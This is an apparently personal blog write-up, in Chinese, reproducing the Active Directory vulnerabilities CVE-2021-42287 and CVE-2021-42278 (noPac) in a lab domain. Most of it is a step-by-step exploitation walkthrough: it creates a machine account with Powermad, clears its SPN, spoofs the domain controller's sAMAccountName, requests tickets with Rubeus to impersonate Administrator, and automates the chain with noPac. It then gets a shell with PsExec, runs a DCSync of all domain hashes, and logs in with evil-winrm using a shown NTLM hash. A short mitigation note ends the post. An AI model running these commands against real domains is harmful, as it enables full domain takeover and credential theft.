0%

CVE-2021-42287/CVE-2021-42278分析复现

距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。

概括

  • CVE-2021-42278,机器账户的名称一般用$结尾,但AD并未对域内机器账户名进行验证。
  • CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在TGS_REP阶段加密TGS Ticket时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket,提供一个属于该账户的PAC,我们便可得到一个高权限的ST。

攻击流程:

  1. 首先创建一个机器账户
  2. 清除机器账户的servicePrincipalName属性
  3. 将机器账户的sAMAccountName修改为DC的机器账户名,但不带$
  4. 使用机器账户的身份请求TGT
  5. 将机器账户的sAMAccountName修改为其他值,不能与DC的机器账户名重复。
  6. 通过S4U2Self向KDC申请ST
  7. 拿到高权限ST票据,完成利用。

利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。

复现过程:

手动实现

1.创建机器账户

拿到域成员权限后,利用Powermad.ps1创建机器用户

1
2
Import-Module Poweremad.ps1
New-MachineAccount -MachineAccount Nayon

验证是否添加成功

1
net group "domain computers" /domain

image-20220302184058328

2.擦除SPN记录信息

注册机器账户后,会自动在Nayon$的名下注册SPN服务,此时我们需要擦除,免于影响我们接下来的操作。

1
2
Get-DomainObject "CN=Nayon,CN=Computers,DC=attack",DC="local" #查看Nayon$用户下的信息
Set-DomainObject "CN=Nayon,CN=Computers,DC=attack,DC=local" -Clear 'serviceprincipalname' -Verbose #擦除SPN服务

image-20220302224406626

image-20220302224910302

此时已将记录清除。

3.修改samaccountname伪造机器账户名
1
2
3
Set-MachineAccountAttribute -MachineAccount 机器账户名 -Value "要伪造的机器账户名(无$)" -Attribute
samaccountname -Verbose
net group "domain computers" /domain

image-20220302225727545

此时可以看到,我们的Nayon$用户,在修改了samaccountname值后,用户名已改为DC

4.申请TGT票据

由于知道机器账户的明文密码,我们可以直接使用Rubeus申请TGT票据

1
Rubeus.exe asktgt /user:DC /password:******* /domain:attack.local /dc:attack.local /nowrap

注: nowrap 选项,票据不换行,便于我们导出为文件

image-20220302231105438

5.再次修改samaccountname

将拿到的票据保存,并继续修改Nayon$用户的samaccountname,使其不为DC

1
Set-MachineAccountAttribute -MachineAccount Nayon -Value "Nayon" -Attribute

image-20220302231452272

6.借用DC用户的TGT去DC$的ST票据

利用Rubeus实现

1
2
3
Rubeus.exe s4u /self /impersonateuser:"Administrator"
/altservice:"cifs/dc.attack.local" /dc:"dc.attack.local" /ptt
/ticket:xxxxxxxxxxxxxxxxxxxxxxxx

image-20220302233836680

此时已拥有访问dc的共享目录权限。

1
dir \\dc\c$

image-20220302234949690

自动化实现

使用noPac项目实现:

1
https://github.com/cube0x0/noPac

项目下载地址,需本地自行编译。

1
2
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local
/mAccount test /mPassword test0123 /service cifs /ptt

image-20220303123150880

Psexec方式直接Getshell

若要通过此方式获得shell,在前一步仅获得cifs服务的权限还不够,我们还需要申请拿到host服务的权限

1
PsExec64.exe \\dc.attack.local cmd

image-20220303123319064

Dcsync拖取域内所有hash

想要拖取域内hash,我们可以利用漏洞申请ldap服务的ST票据,PTT加载后,通过mimikatz申请

1
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local /mAccount test /mPassword test0123 /service ldap /ptt

image-20220303124511355

拿到hash后利用Evil-Winrm登陆域控getshell,当然,此处也可使用impacket套件。

1
evil-winrm -i 10.10.10.165 -u Administrator -H "dbf36575210cc5a38ab4050cc6a2e9aa" 

image-20220303125032356

关于漏洞修复

  • 安装微软官方的:KB5008602、KB5008380补丁。
  • 通过ADSI编辑器将AD域的MAQ配置为0,中断漏洞的利用链。